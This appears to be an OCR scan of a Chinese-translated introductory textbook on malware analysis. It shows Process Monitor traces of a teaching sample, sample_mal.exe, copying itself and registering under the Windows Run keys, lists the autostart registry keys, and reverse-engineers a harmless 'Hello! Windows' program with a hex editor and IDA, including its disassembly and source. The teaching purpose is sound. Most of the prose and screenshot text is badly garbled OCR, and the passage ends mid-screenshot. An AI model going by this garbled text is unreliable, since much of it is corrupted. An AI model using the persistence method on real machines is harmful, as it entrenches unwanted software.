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AN
1247 sample_mal.exe &, Mizssifth—AN W74 “Hello Malware!” [ % 1 HE .
FPRHTHEZ 5, sample mal.exe SCAFAS G 45 2k .
1.1.1 J@id Process Monitor ] H & KA A FE - 1047 A
N HAIRE—F Process Monitor [ H & .

L = - -
= Process Honitor — Sysinternals: www. sysinternals. com

FllE Edit Ewent Fllter Tu:u:uls I:I_ptinns Help
SH | RXBE | vAS | B |

Time of Day Frocess Hame FID Operation

i sample_mal. eze 3008 2 eateFile C:hDocuments and & HHmL.nrmrw:. IFMHJ ﬁ'q-* ﬁ'li- E.nﬁ 0, exe SUCCESS

25:22:49. 281, .. [ J=ample_mal. exe 3200% & CloceFile c:\n-:.-:uments and s.attmzsu{mjseﬂ Imﬁj ﬁi‘ﬁaﬁﬁ\ﬁa’n‘] SUCCESE
2% 22:49, 282, .. [ Jsample_mal, eze 300% Bk Querrattritutel... C:'\Documents and Settings'XFPMUsert [ 8] BEEFEHN0. eze SUCCESS
25:22:49. 282, .. [J=ample_mal. exe 5008 K QuerrBasicInfor... C:\Documents and Settings'\XPMUzerh [Fig| HHE\EF\ENL0. eze SUCCESS
25:22:49. 284, .. [ J=zample_mal. exe 3005 2% Querrittributel... C:'Mizample_mal. exe SUCCESS
22:22:49. 284, . [ Jsample_mal. eze 300% 2% SetEnd0fFilelnf. .. C:'\Documents and Settings\XFMUser [FIS] FEVEF\VEHN0. eze SUCCESS
25:22:49. 284, .. [J=ample_mal. exe 3200% B CreateFileMapping C:'M\zample_mal. exe SUCCESS
25.22:49. 284, .. [ Jsample_mal. eze 3005 2k QuerrStandardln. .. C:'\Misample_mal. exe SUCCESS
253:22:49 284, .. [J=sample_mal. eze 3008 3\EreateFileHappinz C:4YMi=zample_mal. eze SUCCESS
25:22:49. 284, .. [ J=ample_mal. exe 3200% % RriteFile C:h\Documents and SettingshXPMU=zer' [FIE] EAVEF\EEMN. eze SUCCESE
23 22:49, 285, .. [ Jsample_mal, eze 300% Bk SetBasicInforma... C:'\Documents and Settings'XFPMUser [FI8] BEEF EHN0. eze SUCCESS
25:22:49. 285 .. [J=ample_mal. exe 2008 K ClozeFile C:\M\zample mal. exe SUCCESS
25:22:49.285. .. [ J=zample_mal. exe 3005 2% ClozeFile C:hDocuments and SettingshXPMU=zer' [FIE] EAVEF BN, eze SUCCESS
253:22:49. 2585, .. [ |=ample_mal. exe 3008 ﬁﬂezﬂreatexey HECU, Software'\Microsoft\Windows\CurrentVersion\Ezplorer\User 5. .. SUCCESS b
£ I | »
Showing 1,839 of 209, 873 events (0. 87%) Backed by wirtual memorsy
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00 0o
21 bd sl LA N Th

ARG 69 73 20 70 72 6F f [ 1 | 6EBEGF s prosram canno
g0 74 20 62 65 20 72 1 4 4F 53 20t be run in DOS
00 50 6F 64 65 2E 0D 00 00 00  moce....$.......
ARUIINEN 10 CC 3C E9 54 AD 8D 52 BA .J<EaRITaRITaR]
5l 3B DB CE BA 56 4D 52 B4 ;0#1YaR1;072UaR]
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b N 50 D5 C1 BA 59 AD 52 BA 54 AD 53 BA 1E AD 52 BA  12#1YaR1Ta51.1R1

3B DB FD BA b6 AD 52 BA 3B DB C8 BA bh AD 57 ;A.IYaR1;A7IU=RT
20 MR PE RA KRR AN K2 RA R RO R2 RR R4 AN K9 0771 1.RARE kTR ¥
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Process Monitor 2341 HFe 17 7] ik iy E R I H F e VIR & Wmdows A Hten N
%F\?E’J%Qﬁﬁ TOREIC B BB E, P ORAE B 5 W2 vl . SO SR B
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1L # A Process Monitor %yt ) H &5, FRATTA] LLANTERE 7 o)« )3 8 SO e G T — AN 30k
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File Edit Ewent Filter Tools Optionz Help

SH ABE | vAS® | B # | [ @ZBAyM

Time of Day | Frocess Hame FID Operation Fath Fe=znlt f\
253:22:49. 286, .. [ J=zample_mal. eze 300% o SetEnd0fFilelnf... C:‘\Documents and Settings‘\XFMUser'Mr Documentshl. exze SUCCESS
23 22:49. 287, .. [ Jsample_mal. eze 300% S CreateFileMapping C:\Mhysample_mal. eze SUCCESS
25:22:49.287. .. [J=anple_mal. eze 2008 Bh QuerrStandardin. .. C:'\Misample_mal. eze SUCCESS
25:22:49. 287... [ J=zample_mal. exe 3005 ShCreateFileMapping C:%Mizample_mal. eze SUCCESE o
253:22:49. 257, .. [ |=ample_mal. eze 3003 aﬁriteFile C:hDocuments and Settings\KPMU=zer\My Documents'1. eze SUCCESS
25:22:49. 287, .. [J=ample_mal. exe 3008 Bh SetBaziclnforma. .. C:\Documents and Settings‘\XPMUser'\Mr Documentshl. exe SUCCESS
25:.22:49. 287, .. [ ]sample_mal. eze 300% Bk CloseFile C:\Myzample_mal. exe SUCCESS

C

25.22:49. 287, .. [Isample_mal. eze 3#00% Bk CloseFile :"LIIDcuments and Settlnzsﬂ}{PmserHH}' Ilncuments'ﬂ exe SUCCESS

ample_mal. eze 3003 RepSetValue I-IILH IIFTnul‘..E Microsofth nlni WS |1.1.II'-'I|.+"'-'1..1 i Funh sampl e_mal SUCCESE

25:22:49. 288, .. [ J=zample_mal.exe 3005 2 SetEnd0fFilelnf. .. E I'.L'i'\i‘I]:TJZII:I'i'\i‘S".Ls:rstem32".u:|:|11f1E".Lscuftw.lare Lo SUCCESS

za:zza49 288 .. ] sample:mal. exe 3008 HL SetEndOfFilelnf. .. C:\WIHDOWS \ =rstem32hconfighsoftware. LOG SUCCESS
25:22:49. 285, .. [J=ample_mal. exe 3003 Bk SetEnd0fFilelnf. .. C:\RINDOWS\srstemi2'confighsoftware. LOG SUCCESS

25 22:49. 288, .. [ ]sample_mal. eze 3005 @Y RegCloseKer HELM SOFTWARE \Microsoft \WindowshCurrentVersionhFun SUCCESS
253:22:49 2588 .. [ |=ample_mal.eze 3003 5&1.1&1'}'!3:-&11 C:4YMy=zample_mal. exze SUCCESE W
<4 | »
Showing 1,839 of 222, 807 ewventsz (0. 52%) Backed by wirtnal memorsy
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HAKFEFLE HKEY LOCAL MACHINE\Software\Microsoft\Windows\Current Version\Run 4
T — %K sample_mal [R3F T H .

HKEY LOCAL MACHINE\Software\Microsoft\Windows\Current Version\Run 15 5> 3 {3 —
BE, H RS Windows 55 I B 21247 .

Windows E )5 N H s 47 FRE P a] PLAEMHE R AT — MR E .

e HKEY LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

e HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run



e HKEY LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
e HKEY CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Ak, TATEKMFEFIEAE C:\Documents and Settings\XPMUser\My Documents H=x I, tHil
FECTRI SO ORI N AEE T — N0 exe LA

EHE wEE FFW WA TRO  #Ea

Qre- © - ¥ Pux [oxex M

Hitk i) () aniry

wermeekias N0 (O j;/ HAE T
9 iR |

(%) wﬁ?”ﬂ#é’%ﬁ*ﬁﬁ]

et FEFUHI R

A BRI T TR STAT R ) N 2%
F1 0.exe —Ff, 1.exe & sample mal.exe ff)—/NHEI| A
i+ l.exe 112 OB AR R

HKEY LOCAL MACHINE\Software\Microsoft\Windows\Current ~ Version\Run R [fj, it
Windows JE Zh I 52 B Z3E4T 1.exe.

N HRATEE — 7: Windows YEMER A 2. 1# ] Windows HH7 Y regedit L =2 gt LA H
WK, MRS R —I1a4T, i\ regedit Bl

EFE @wmmE SF W WEXG) R

" {1 PropertySystem Al B #Hefl i
CI £3 Re1n5tall @A) REG_SE ENEREE)
i . Raldabili Gemplus Beader ... REG ST C:\Program FileshICECEbankToolshGemplusz'GemSafe Librar. ..
- zemstrmy EEG_3Z C:WWINDOWS \system32h zemstrmw. exe fr

[ab]ICBCEBankhssist  REG_SI "C:“Program Files\ICECEbarkTools'\ICECSetupIntegrationt. ..
.:Ig :ZTEEEEEK IMJTMIGE. 1 EEG SZ “CAWIHDOWSAIME vimjp8_LIMIEMIG. EXE™ /Spoil SRemidwDef. .
| @R shwemize [ab] FHIMEZO0Z A REG_SZ C: \WINDOKSh syst en3Z\ IME\TINTLGRT\ TIHTSETE. EXE /IMENan e
J .D Shal I Frtetetons .P]‘E[MEEEIUEES}TLC ERE;_SZ C:WWINDOWS \sw=tem32 W IMESTINTLGNT \TINTSETE. EXE #SYHC

(] ShellCompatibility _ :
(3 ShellSerap

P D ShellZerwicelbjectlel — aLE =4 CoEla = LD - 3
J {7 SideEvSide .‘f’anTra}' EEG_3Z G I'vL'|'|'I]:5|'J:I|:I'|'|'S"ns;«'stem32"vﬂ.l"Bu:uxTraj«' exe

C:\Progzram Fllesl'uICBCEba:ul':Tn-:-ls"uGemlus"n.GemSafe Librar. ..

w

< ST | &
FEAUEE RS HEEY LOCAT, MACHINESYSOFTHARE ‘MicrosoftiWindows CurrentVer sion'iBun

A AR N E



A DL ILA 2 B A T C:\Documents and Settings\XPMUser\My Documents\1.exe IXf¥f
I 25

PRI, W RIRATTMIER 0.exe AT 1.exe, HS4 Windows H 5 I gt A2 FFiE4T sample mal.exe T o
H:5Z, sample mal.exe H &5t —4> Hello Malware! X iGHE, JEvA 3047 HAMAT ([ 24
PRI, FRATTR ZOR SR 83y <“TRISCRS” L SR g i N s st INER,
RGBT LSS B 50K T .

113 flaZgiim T

ik BRI Es REA T LRI, sample mal.exe FE P2 AT LA ERAE

o WECVE N A LU AE 3 45 T I [ 315 47
o 1 TS BIEIR B S0P e BB E RS (918 17
P AT AT A, TRIUETRA T I 7 75 221 ) Wireshark

SR, AR IHREATIARITE Z 0T A AR S AT BRI, I 2R Al e i
Se BB H A, W TAT R R ZCE AL 1.

R LK RE R A BEAT 73 B i 28 AT A B AR R 10 o) R T ) R di — R
ERERAE M, HBAMIR TS AT, It A— @ M L% K.

T ) TR S A S Fe e PR L as 28 B IR S Has AT G Sk R HRNE 775 . AR e B R 4
WFAT R, ARAE A, 00 ) TR = R B D [ g CRENLAS 1S 5 AR 8 BT 2
B SRR, DR AR RS 0 S R AT O A AR
—HULK, EEN R B SRR D DUEOR,  BLAPPAl B o B TR L
SO S5 A A 2 FH 230 m) TR R . —MOIA K, R IT R e Ad FH IR G BE B AR AR L, 38 1)
THEET M ARNEGEE. Ah, 1100w TR TR B LA
RIS Y R R R I R v ok 5 N 1 Y

LR W LRERR KFE

FE—Y8E K, BUNA R4 X 228/ p—2E 0L CTF (Capture the Flag) SHARERIII 0] THE

FERKTE, LS E B2 B HEAR IR

. SECCON CTF ( H A

http://www.seccon.jp/

o DEFCON CTF (%[E)


http://www.seccon.jp/

http://www.defcon.org/html/defcon-20/dc-20-ctf.html
CODEGATE CTF (#:[E)

http://yut.codegate.org/

LAk, BEH T R IANKE 0, S AT UG T RS P 4 sE 38T 8l . X4

AR T 2k iRk Y G B A ) 10 ~ 20 N BATLIE N g

SEARIEA

RERZ LEIRMACTHAR &, (HHIEAT B A, GXEBIEESIN— FHARZEA

.


http://www.defcon.org/html/defcon-20/dc-20-ctf.html
http://yut.codegate.org/

1.2 22l A0
1.2.1 #ETS531& ST

AT M N5l KA D 25 0 B AN B2 oo A A e Ty fokedd, eI PO R

&M AEAIZAT H RS REFP I O R BEAT 0 A
o BT AEIBAT HARRERF (1 [/ N BEAT 20 #r

A ﬁz‘dl‘]ﬁ sample_mal.exe BEAT M VAR T80 Mr. ML, g o b £ 2L LA
VR

8

™,

o [ Sl gAY
o PEMURIAT LA M P AT A, o A A T WP £ FL 4]
T SCEKRA, T BE AR A% B nT AT ORI A 2B ) DUSLAR 2 — Rl s o

T, FATIAKRAT chapOl\wsampleOla\Release " 7nBiFEF wsampleOla.exe HEATERAS
M1o wsampleOla.exe 1T 45 RUTH s

Hella! Windows

A wsampleOla.exe [i21T45 1

BATZ )G, BATRIE AL P HOE ) $ B 7R 7 — Hello! Windows X AE T L

A, XA U A R ? AR RAT A AT T .

e, FATH —dthgmiEas I T wsampleOla.exe . CAYmiEZSIEEH R 2 A& H A H
1, A R ESRANTTAZ T A, Z2bfigmiaas vl &2 K
FIRE . SEANKU, g VHEAR . I g as AU S R AL ) TR R YK
R, AR T AT AT A TR E A, i FH I A ME— ARt
E_HE M gmiEdsh, ARAT I 22 L M Rb.

o Stirling
http://www.vector.co.jp/soft/win95/util/se079072.html


http://www.vector.co.jp/soft/win95/util/se079072.html

e BZ Editor
http://www.vector.co.jp/soft/win95/util/se032859.html

XA TR LS A I, ﬁ%%ﬁﬁ#ﬁﬁﬁ%%ﬁ%%%#ﬁﬁ (o WAL THA S
T BRI, ‘ﬁthiﬁ%&% Stirling, A< o B PR AR 2 DAAE ]
Stirling A AT#KRHEATI) CGRRIES WEED

L. Stirling 5 BZ Editor [ [X 7

WA B AT 14 2 “Stirling 1 BZ Editor XA TR &AF K, HAFH Stirling J&4 _Fn] PN
R Z HE L -

SR, RV Stirling DURETRA, nfRANAF MG O, EAREE RST BRI Sl AEd %
HIAAE, IR B LA GB R/ A6

—JBORAE, BT TP SO L d 2 PEAD ), DI TE SIS 00 ] Stirling 3 2%
1, A BZ Editor ANHEWIRAMX Bl s, e nl LURFR ST T RSCHE, il HL B i A

JREILSE B A3, SR LA HIX A T AR EE SRR, BN BEINE
SRRTIRE, X u’%?*’&iﬁkiﬁﬂ’] BRI . A EREIE, REATR?

1.2.2 F kg i A% AR S B
N FRATH Stirling 7 HF wsampleOla.exe & -

i Stirling — [wsamplella.exel |-_||E||§|
Bt 7pLE REE WE-EEE REQ UMM L) & X

D@ [ 4] a2 sl 0[] YDID 51| @l

| ADDRESS 00 01 02 03 04 05 06 07 08 09 0A OB OC 0D OE OF  0123456763ABCDEF 4|

I8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ......cooven....

00 00 00 00 20 74 15 4F 00 00 00 00 02 00 00 00 ... t.0........

g5 00 00 00 A0 271 00 00 A0 OF 00 00 38 30 40 00 ..... Lot g0,

90 30 40 00 32 00 30 00 31 00 32 00 00 00 00 00 .0

40 00 45 00 53 00 53 00 41 00 47 00 45 00 00 00 M

48 00 65 00 6C 00 6C 00 6F 0O 21 00 20 00 32 00 H

30 00 31 00 32 00 00 00 48 00 65 00 6C 00 6C 00 0.
o
W

6F 00 21 00 20 00 57 00 69 00 6E 00 64 00 6F 00
700 73 00 00 00 00 00 43 00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...,

B 00 00 D000 00 DO 00 D000 00 DEDEBEAE s

0] ke TR [ 0es 014305 U U il el e 1 e g 4 V100 ] et e e e e

00 00 00 00 00 30 40 00 30 22 40 00 01 OO0 00 QO ..... 0@.0"@. . ...

b2 b3 44 b3 CE 07 FF 1C 57 &b 3E 43 9D B D3 8B

FO 90 C3 F8 01 00 00 00 43 34 5C 44 6F 63 75 6D %E ..... C ocum g

Fa T o | e FA T AT T | LT | Ea T T o TR 2] e B B B R o o TR T R T |

L7 [D<00000000 | | [E&# 768 Eiytes ISHIFT- ¢

A H Stirling T 71 wsampleOla.exe [f]£f T


http://www.vector.co.jp/soft/win95/util/se032859.html

H Stirling T wsampleOla.exe &, AT LLE 2574 L Bosth— S T S13EH 2457 X2
Windows FJ AT 3% 20, RE“PE #& 20T ZS . 0T PE R TE4EME R, T L [
BUE T XK E, A —IRBATEA TR 2R, HEEANKMMAT T, AN
PE P Rk B 1)

B, WATHAENS AL R IHIX LS N A

o 74 H MESSAGE F Hello! Windows

o UEK4E C:\Documents and Settings\XPMUser\My Documents\Visual  Studio
2010\Projects\wsample01a\Release\wsample01a.pdb

o FfFH KERNEL32.dll. MessageBoxW

Rt 2 SNEAT HAb— 2 i R BB e AT a8, AT BRXEARN A, BZIHES
X AT

1.2.3 A AN g0 iE = BT LLEE4T 20 bt

B N oRIEATIRIRE X wsampleOla.exe HE4T SIS

AP ITAMER IDA 5.0 Freeware hix (Fa3hi) 1ENRICSs T H . RIEARAAEL, RBhisC
R AL B AR B s /b, i HabsA —LeDhae PR, (H'e PR BEHAR AR, 7B I gwAnisi ] DL
A . THMWETEES L%,

REW A LU R & 6.2 Demo i, AN WA 43 IR Ta) B

e IDA 6.2 Demo version, IDA 5.0 Freeware version

http://www.hex-rays.com/products/ida/support/download.shtml

WVFRF VR B AAHL it 5 AR H N, (HILSEOAE AT IR Z DhResi K T A, rTLMEE
TRE A AR T 0o R IETRATRARS: — T

58, % wsampleOla.exe #5531 IDA Kb L, RES 28— About X i5HE, FA1#% OK
B e K.

BTk, & — Load a new file X[ 1EHE, )18 FHAT A FT 45 2 I S04
X B AT 1% £ Portable executable for 80386 (PE), #& )& 4% OKo
G Pl REIR 2w — 2 S, R T OK At L T .

&, IDA ¥ H—AN i d.



http://www.hex-rays.com/products/ida/support/download.shtml

FHIAAH—%40 Names  window B L, EECAEITIFN, WA EAFTIFRIE T BLI%
Shift+F4 §77F, Bt n] LA i i 5. View — Open subviews — Names.

1F Names window & )& 74 B8 wWinMain XN pR 8044, X
2R K, IDA View-A & A4 Bon H SIC gAY

Load a new file

Load file C:\Documentz and Settings =P Uszerhkdy Documentzhizual Studio

Fortable executable for B038E [FE] [pe ldw
kM5-005 erecutable [EXE] [dos.Idw]
Binary file

Processzor type

Intel B0x8E6 processors: metape W Sel
T rhnalsis——————
Loading segment ||.J:-:i.|i.]|:=[}|..|l]|][.| | B
Loading offzet |l.'JS-:i'.'!I]Ifi[}lﬁ.ll]I][] | Indicatar enabled
—Optian
Create segmiehts [ Karmeloptionsl ]
[ Load rezources

Fiename DLL entries

[ ] Manual load [ Kernel options2 ]
Fill zeoment gaps
take imparts segment [ T —— ]

[ ] Create FLAT group

System DLL directory | C:AWINDOWS |

h ] ﬂ ’ Cancel ] ’ Help ]

A ] IDA ¥ J wsampleOla.exe (Load a new file)



A IDA - C¥Documents and Settings¥XPMUser¥My Docomenis¥Visual Studio 201 0¥Projects¥wsampleli o¥ Re lease¥mamplell | a.0xe

File Edit ¢ Search Vew Debugesr Optiona Wiedows MHep

(@~ = | [MWHHE B8] [ 8___4d/|-+x|080|LR
EEEEREE :--:-n.:nl [agnn=|ar] -Baa' E]
[Bmm|@amE - s Nx[|2- 0w SHKm- [ s &% .-;'..I T TT

mMEO HBR |/ AA

El IDA View- A B! []Mames mindow 55

Hame:
F

F _secunty_check_coakis M40
F oot_cop_ind [T [
F _imalRTSimbg [Tl
F =L

pubilic winMainCRTStartu

wil irMainCRTStartue proc near
cal | —securitv_init_cookie
ime __tmainCRTStartup

wi irMa iR TS tartue endo

10000 E34-TR) | BUTE M000TIZ  DOHEEE wikinMainCRTS i

Lum1l1r|.q file 'Ct \Prn-g.r'ln F11es%I0A Fressidcyida.1dc” ""
Executing Tunction 'main’

compiling Tile "Cp “_Frwl‘m Fllh'-._mh Freéshddcyonlisad, 1dc’

Exgcuting function 'Oniosd”

104 15 analysing Che input 71l

vou may start to explore the Input File right now.

Fropagating Type informaticn.
401876 nruuquu:hrgs funceion is 41nud;- typad
FUZE! 5 Argiment '|rr1'm:1u-'| 11 pr oA

A 1] IDA ] 7T wsampleOla.exe (53 #7% 1)

WA LUA B S T s 4, MWSER LR Text view BE J& Graph view, FIAFEMMEREE
5, ERAFLEA Graph view .



E DA View-4

int _stdcal | wlinMainCint, int,LPCHSTR [pStringl, int)
wilirMain proc rear

lpStringl= dword ptr 10h

push  ebp

Moy ebp, esp

mov  eax., LebptlpStringl]
push  offset String? ; "20127

push  eax o IpStringl
cal |l d=:_imp_lstromell@8 o |stromoWix, )
push 0 ; ulvpe

push  offset Caption ; "MESSAGE”
test eay, eax

inz short loc_401035

¥
BN Ll BNl
push  offset Text : Hellol 20127
cal |l dei_imp_Getdet ivellindowd0 ; Gethetivelindow( IR | loc_401035: : Hellal Windows™
push  eax ; hihd push  offset aHel lollindows
cal | dsi_imp_MessageBodl@16 ; MessazeBodlx,x, %) b |cal | dsi__imp Getdetivellindow ; Gethct ivellindow()
¥Or eax, eax push  eax : hifind
oD ebp cal | ds:_inp MeszazeBosdi@16 ; MessageBosllix, s, %, %)
retn  10h ; IpCapt ion or eax, eax
pop ebp
retn 10k

100.00% 23807 | @181 00000400 | 00401000 witfintain

A wWinMain p& 201 0 9% A0S (Graph view)
TEXAALE A, IDA 2 Won I B R B A RAGE 28, 0 25 2 B

WVFRE ) NI SR, ERAIAER TIRZ TR, HEEERf g LT
HIANZNETE S AR T, KEER IDA Son BRI TE 5 A N st ae e I 5 T

1.2.4  EEATIEACHS B D01 fmdis 2R 7 AT N
PMHEALKESR  wWinMain - REURIEHE, BT Hello!  Windows. MESSAGE.
MessageBoxW S5 A 47 1 LLAL, FATIEHE R I N A A5 o

o 2012

o IstrcmpW

o GetActiveWindow

HA ot H AR/ F-56 2 Hello! Windows F1 Hello! 2012 XG5, EATTELEAF 544
SR TNIR



BN RAE 24T H 2012 /A ZE0CKkIZ4T— § wsampleOla.exe.
Vv 47 sl

C:\>wsampleOla.exe 2012

Hella! 2012

A 7] wsampleOla.exe 15 1% S 41 2012 5 1745 R
MEZHTEOAH L, XK B kIR B A8 T Hello! 2012,

REA NE ) Ay ? "IRATREL Tl A 2012 XANSEL BPR B EIR S KL
AR, IAREEL DY IRAE S B EAUE O~ iR TR AT R,

XA ] TR

WA XA ZHGE BA IR R, LS B R g v 5 A0, ] LUK A T
IstrempW X545 85 2012 Rl i AT S AT T HLBERAE.

¥V wsampleOla.exe

00401000 ; int  stdcall wWinMain (int,int, LPCWSTR lpStringl, int)
00401000 wWinMain proc near

00401000

00401000 1pStringl = dword ptr 10h

00401000

00401000 push ebp

00401001 mov ebp, esp

00401003 mov eax, [ebp+lpStringl]

00401006 push offset String2 ; "2012"
0040100B push eax ; lpStringl
0040100C call ds: imp lstrcmpW@8 ; lstrcmpW(x,x)
00401012 push 0 ; uType
00401014 push offset Caption ; "MESSAGE"
00401019 test eax, eax

0040101B jnz short loc 401035

0040101D push offset Text ; "Hello! 2012"
00401022 call ds: imp GetActiveWindow@0 ;
GetActiveWindow ()

00401028 push eax ; hWnd

00401029 call ds: imp MessageBoxW@1l6 ;
MessageBoxW (x, X, X, X)

0040102F Xor eax, eax

00401031 pop ebp

00401032 retn 10h ; lpCaption



00401035 loc 401035:

00401035 push offset aHelloWindows ;

0040103A  call ds: imp GetActiveWindow@O ;
GetActiveWindow ()
00401040 push eax

MessageBoxW (x, X, X, X)

00401047 XOr eax, eax
00401049 pop ebp
0040104A retn 10h

0040104A wWinMain endp

BN

AN R4

; hWnd
00401041 call ds: imp MessageBoxW@16 ;

HIR B2 2 BE NI 2 A ik B AR AN T4+ A ZF T A T
1.2.5 AR iR ACHS

RJAEEAKRE — 1

V wsampleOla.cpp

#include <Windows.h>
#include <tchar.h>

int APIENTRY tWinMain (

BAER

H—»Ab

X He

HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR 1lpCmdLine,

int nCmdShow)

if (1strcmp (1pCmdLine, T ("2012"))
MessageBox (GetActiveWindow (),
_T("Hello! 2012"), T ("MESSAGE"),

telse{

MessageBox (GetActiveWindow (),

wsampleOla.exe

== 0){

"Hello! Windows"

B 1B B M A B T 8 S A o RTRIEA (0 R g AR A i e — 4, L8

B F YEARIS (chapO1\wsampleOla T
wsampleOl.cpp) o EE4u PRIk B 75 2244 3¢ Visual Studio. X Visual Studio H°43¢ 7151
Z ISk, ST a9 50 2 W, readme A

MB_OK) ;

_T("Hello! Windows"), _T("MESSAGE"), MB_OK);

}

return 0;

g PR IDA 1) S 2 45 R IE ] S 45 2y BEAR 10

A Wi )39 [ TRE™ I G IX L] (I A, KR DO ST RME, E52Fs EIFARnt. A
HI DA, BATH0 AT LR nl AT SO e i C i s
EgARIY . JEHZEM Graph view  Fraiok, FRALEFAT o0 G it AR (1) 70 508

R Dy B (bR ISR IR 1



PR T RMAE Tk, REmin] BLIE AR 2 Ao AR 1



1.3 BN
B 'E Process Monitor ]33 & 41 11|
BNk, AR — N
FEXS T RS S, S 2 AE H R e is AT i [ N BRER AT I 57k, e, 3kdT]
F VA KRR P& 4R, BRICDIAE, NI LT WAk A sh &5
o FRICAF AN MR VT H) H A&
o PIHL 2517,
FIFATR A HT— T chap01\wsampleO1b\Release H [ 7~ B F2 /5 wsampleOlb.exe.

A1 RE—F wsampleOlb.exe HJIE1T45 %,

Copied!

A wsampleO1b.exe [1]i5 1T 45

XA E R A b F W os T—4% Copied! WM&, Ehs B ERAETHAN? FATiL
AL R AETE— .

FArTAI ELH Process Monitor K4t 7~ #2 F wsampleOlb.exe Hiz4T H k.
J58)) Procmon.exe Z Ji, i8N EE 1, FAEXHE IR E AN wsampleOlb.exe.

IR EA TR IE MW B &, rTR% b Crl+L sl iz 5P 1) Filter — Filter....o



M Process Monitor Filter @

Display entries maktching these conditions:

_ I
|F‘r-:u:ess Mame e |||5 v ||wsamplelilll:u.exe

v|then |In|:|ude V|

@ Frocess Mame is

Column Felation

YYalus

Action
weampleM bexe  Include

[

oK

J [ Zancel

aooly

A 7t Process Monitor [1J 3 38K ) v % . wsampleO1b.exe

AT RN B 1 Ay PATEAT 2 A R

X BLIRAT A B SR IR i R A BN wsampleOlb.exe B % H &>

iR R

Process Name is wsample01b.exe then Include

, WEZ G Wiy

WA, %~ Add $2H], IXAN = a2 H I 5L

WESE, R OK KHWE R H, RJ51E1T wsampleOlb.exe.



E‘ Process Nonitor — Sysintermals: www. sysinternals. com

Fils Edit Ewenl Filtar Toelz Options Help
FH ABE  <AG B | & |[&EB[AyH

Time of Day | Frocess Hame FID | Operation Fath Result Detail -~
23:55:42.632. ., |wsamplellb. eze 4084 [§ Frocess Start SUCCESS Paremt PID: T... =
23:55:42.632 . _|wsample0lb. eze 4084 O Thread Create SUCCESS Thread ID: 2032 —
23:85:42. 634 . |weampleOlb. eze 4084 Bk QuerrMameInform. .. C:4yMiwsampledlb. eze SWCCESS Heme: \Mhwzam. . .
23:55:42.604. ., " |wrample0lb, exe 4084 OF Load Imace C: AWM\ wzampl ellb. exe SWCCESS Image Baze: 0.,
23:55:42.634. .. |wsamplelib. eze 4084 O Load Image C:YRINDORSh srstem32intdll. 411 SUCCESS Image Hase: 0...
23:55:42.634 . _ wzamplellb sze 4084 B QuerrMameInform. . C: \Wiwsampl elib. exe SUCCESS Hame: ‘Whwsam ..
23:55:42. 634 .. |weamplellb. eze 4084 FhCreateFile C:YWWINDOWS \ Frefet ch\WSAMFLEOLD. EXE-26. .. HAME HOT FOUMD Dezired Acces. ..
29:55:42,634 . " luzamplelib. exe 4084 B RegOpenKer HELK\Softwmre\Hicrosoft \Rindows WT\Cu, . HAME HOT FOUMD Desired Acces. ,
23:55:42. 634 Clweamplelb. axe 4084 Bk CreateFile C:\N SUCCESS Desired Acces. .
23:55:42.636. .. wsamplelib. eze 4054 S5 Load Image C:\WINDORS, syr=tem32\kermel 32, d11 SUCCESS Image Base: 0...

123:55:42 637, .. weampl e0lbh. exe 4084 @Y RegOpenker rentContral Set\Contral. . SUCCESS Desired Acces . .

11

23:55:42, 637, , | |wezampleOib. exe 4084 ﬁﬁuﬂu-rrvﬂu- rentCont rol Set\Cont rol, ., SICCESS Trpe: REG_DWD., .
23:55:42, 637, ,, ;mmpltﬂib.ilt 4084 B KegClozekar reniControl Sat\Control, ., SUCCESS
239:55:42.640. .. _ weampleOlb. eze 4084 Of Load Image emidhuzerdz. dll SUCCESS Image Baze: 0...
23:55:42.640. .. weampleOlb. eme 4084 O Load Image em32hpdiz2. d11 SUCCESS Image Baze: O...
23, 55: 42,640, ., " JwzampleOib. exe 4084 O Load Image em32yzhell32 Al SUCCEES Image Baxe: 0.,
29:55:42,640.,, |wsampleDlb. aze 4084 Jf Load Image am 32\ advapid2, 41l SUCCESS Image Baze: 0.,
23:55:42.640. .. _ weample0lb. eze 4084 L5 Load Image emizhrportd. 411 SUCCESS Image Fase: O...
23:55:42. 641 .. " wzampleOlb eze 4084 Q5 Load Image C:\RIMDORS  sy=tem32\securd2 dil SUCCESS Imape Base: O...
23:55:42, 641, . " |wezampleOlb. exe 4084 O Load Image C:ARINDOWRS  erstem32imzvert. d11 SUCCESS Imape Baxe: 0., .
23:55:42.841. ., ;wnrnﬂlﬂlh.-tt 4084 Load Image C:ANINDOWS  srstem 32 shlwpi. dll EUCCESS Image Baze: 0.,
23:55:42.641. .. _|wsampleOlb. eze 4084 §Fileﬂrstemﬂa1ﬂml C:hM SUCCESS Control: FSCT...
23:55:42.642 . — wsamplellb. eze 4084 =k Querrdpen C: YMAMSYCRL 00, d11 HAME HOT FOUED
29:55:42. 642 .. |weampleOlb. eze 4084 A Guerrdpen C:YWIMDOWS, system32\mever100. d11 SUCCESS CreationTime:_ ..
$9:55:42,842 ., " |wsamplalib, aze 4084 [ CreateFile C:\WINDOWS\ srstemi32\msverino, 411 SUCCESS Dasired Acces
23:95:42.842 ., | wsample0lb. eze 4084 BCmatnFilaﬁnwiM CrARINDOWS  srstem32imsver1 g, 11 SUCCEES SrncTrpe: S7ou. .
23:35:42. 842 . |wzamplellb sze 4084 CreateFileMapping C:\RIHDOWS' =r=tem32\msvcrion. d11 SUCCESS SrncType:; Sym.. (W
- -
Showing 426 of 155,911 events (0. 27T%) Backed by wirtual memory

A 1217 wsampleOlb.exe J¥ %t H &

21T wsampleOlb.exe, <9t —/N53 Copied! HVHEME. L IE[FAIKS, Process Monitor tH4s
T SRR MR 5 1) H &

Wi HE, AT LA B wsampleOlb.exe Vi 0] T LA A
C:\Documents and Settings\XPMUser\ [ JF 45 | 3\ #£)7 \ J5 3/ \ wsampleO1b.exe

1 sample mal.exe {RIZNE?



& Process Honitor — Sysinternals: wew. sysinternals. com |'__“E|r§|
File Edit Eyent PFilter Joeols [Options Help

FH ABE | A | B M| |[#HE5 LN

Ti... PFProcess Hame PID Operation Path Besult f-_
